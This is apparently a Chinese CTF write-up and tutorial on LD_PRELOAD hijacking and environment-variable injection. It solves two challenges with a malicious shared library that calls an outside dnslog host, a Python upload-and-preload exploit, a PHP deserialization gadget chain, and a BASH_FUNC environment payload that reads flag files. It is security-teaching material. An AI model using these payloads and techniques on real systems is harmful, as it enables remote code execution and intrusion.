LD_PRELOAD劫持

基础知识

环境变量

Linux 系统提供了多种方法来改变动态库连接器装载共享库路径的方法。通过使用此类方法,我们可以实现一些特殊的需求,比如:动态库的调试,改变程序的行为方式。

链接

编译器找到程序中所引用的函数或全局变量所存在的位置

  • 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数连接成一个完整的可执行的程序,之后不再拆开。
  • 装入时动态连接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边连接。
  • 运行时动态连接:源程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行连接。
  • 对于动态连接来说,需要一个动态连接库,其作用在于当动态库中的函数发生变化对于可执行程序来说是透明的,可执行程序无需重新编译,方便程序的发布、维护、更新。但由于程序是在运行时动态加载,这就存在一个问题,假如成语动态加载的函数是恶意的,就有可能导致一些非预期的执行结果或者绕过某些安全设置。

LD_PRELOAD

LD_PRELOAD是允许你定义在程序运行前先加载的动态连接库,那么我们便可以在自己定义的动态连接库中装入恶意函数,假设现在出现了一种这样的情况,一个文件中有一个恶意构造的函数和我们程序指令执行时调用的函数一摸一样,而LD_PRELOAD路径指向这个文件后,这个文件的优先级高于原本函数的文件,那么优先调用我们的恶意文件后会覆盖原本的那个函数,最后我们执行了一个指令后他会自动调用一次恶意函数,这就会导致一些非预期的漏洞出现。

  1. so后缀是动态连接库的文件名
  2. export LD_PRELOAD=*** 是修改LD_PRELOAD的指向
  3. 我们自定义的替换函数必须和原函数相同,包括类型和参数。
  4. 我们还原LD_PRELOAD的最初指令为:unset LD_PRELOAD
  5. unset LD_PRELOAD还原函数调用关系

LD_PRELOAD_PATH

LD_PRELOAD_PATH可以临时改变应用程序的共享库查找路径,而不会影响到系统中的其他程序。

漏洞复现

随机数劫持

//rand,c
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
int main(){
srand(time(NULL));
int i=10;
while(i--) printf("%d\n",rand());
return 0;
}
gcc rand.c -o rand

image-20240221164422328

image-20240221164428340

gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
gcc -shared -fPIC unrand.c -o unrand.so
export LD_PRELOAD=$PWD/unrand.so

image-20240221164628885

vnctf 2024 Givenphp

task.php

<?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
handleFileUpload($_FILES['file']);
}

if(isset($_GET['challenge'])){
waf();
$value=$_GET['value'];
$key=$_GET['key'];
$func=create_function("","putenv('$key=$value');");
if($func==$_GET['guess']){
$func();
system("whoami");
}
}
function waf()
{
if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
die("evil input!!!");
}
}
function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';

if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}
$fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);

$newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
$destination = $uploadDirectory . $newFileName;
if (move_uploaded_file($file['tmp_name'], $destination)) {
echo $destination;
} else {
echo '文件移动失败。';
}
}

解题思路

发现危险函数

$func=create_function("","putenv('$key=$value');");

#curl 3ggz4u.dnslog.cn

这里提示我们可以使用LD_PRELOAD,我们可以先上传恶意的so文件,然后通过危险函数,将LD_PRELOAD设置为这个恶意文件的地址,这样就会执行恶意文件当中的命令。

构造恶意文件

#include<stdio.h>
#include<stdlib.h>
int puts(const char *message){
system("curl 3ggz4u.dnslog.cn"); //执行恶意命令
return 0;
}
gcc -shared -fPIC shell.c -o shell.so

其他点

create_function 之后,var_dump($func) 看一下,就可以知道 guess 要传入的是 \x00lambda_1

exp.py

import requests

url = "http://d19a0faf-ab06-4db1-85a0-806d02bdeb2f.vnctf2024.manqiu.top:80/index.php"

data = {
"upload":1
}
file = {
"file":open('shell.so','rb')
}
r = requests.post(url,data=data,files=file)
print(r.text[-45:]) #获取恶意文件的路径

fn = r.text[-45:].strip()

param = {
"challenge":1,
"key":"LD_PRELOAD",
"value":fn,
"guess":'\x00lambda_1'
}
r = requests.get(url,params=param)
print(r.text)

环境变量注入

P神文章

漏洞复现

SICTF Round3 Not just unserialize

task.php

 <?php

highlight_file(__FILE__);
class start
{
public $welcome;
public $you;
public function __destruct()
{
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}

class SE{
public $year;
public function __set($name, $value){
echo ' Welcome to new year! ';
echo($this->year);
}
}

class CR {
public $last;
public $newyear;

public function __tostring() {

if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}

if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}

class ET{

public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
if(isset($_REQUEST['go'])){
unserialize(base64_decode($_REQUEST['go']));
}
?>

思路分析

由ET中的putenv,进而是CR中的tostring,进而是SE中的set,进而是start中的begin0fweb,进而是start中的destruct

反序列化调用链

//start::__destruct()->start::begin0fweb()->SE::__set()->CR::__tostring()->ET::__isset()

环境变量RCE

GET: get[BASH_FUNC_echo%25%25]=()%20{%20cat%20/f*;%20}

其他技巧

pre_match 绕过

class CR {
public $last;
public $newyear;

public function __tostring() {

if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}

if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}

限制了不能用数字绕过,这时候可以用\nworries

exp.php

<?php

class start
{
public $welcome;
public $you;
public function __destruct()
{
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}

class SE{
public $year;
public function __set($name, $value){
echo ' Welcome to new year! ';
echo($this->year);
}
}

class CR {
public $last;
public $newyear="\nworries";

public function __tostring() {
echo "__tostring";

if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}

if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}

class ET{

public function __isset($name)
{
echo "yes";
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
$a = new start();
$a->welcome=new SE();
$a->welcome->year = new CR();
$a->welcome->year->last = new ET();

echo base64_encode(serialize($a));

// Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9

payload:

GET: get[BASH_FUNC_echo%25%25]=()%20{%20cat%20/f*;%20}
POST: go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9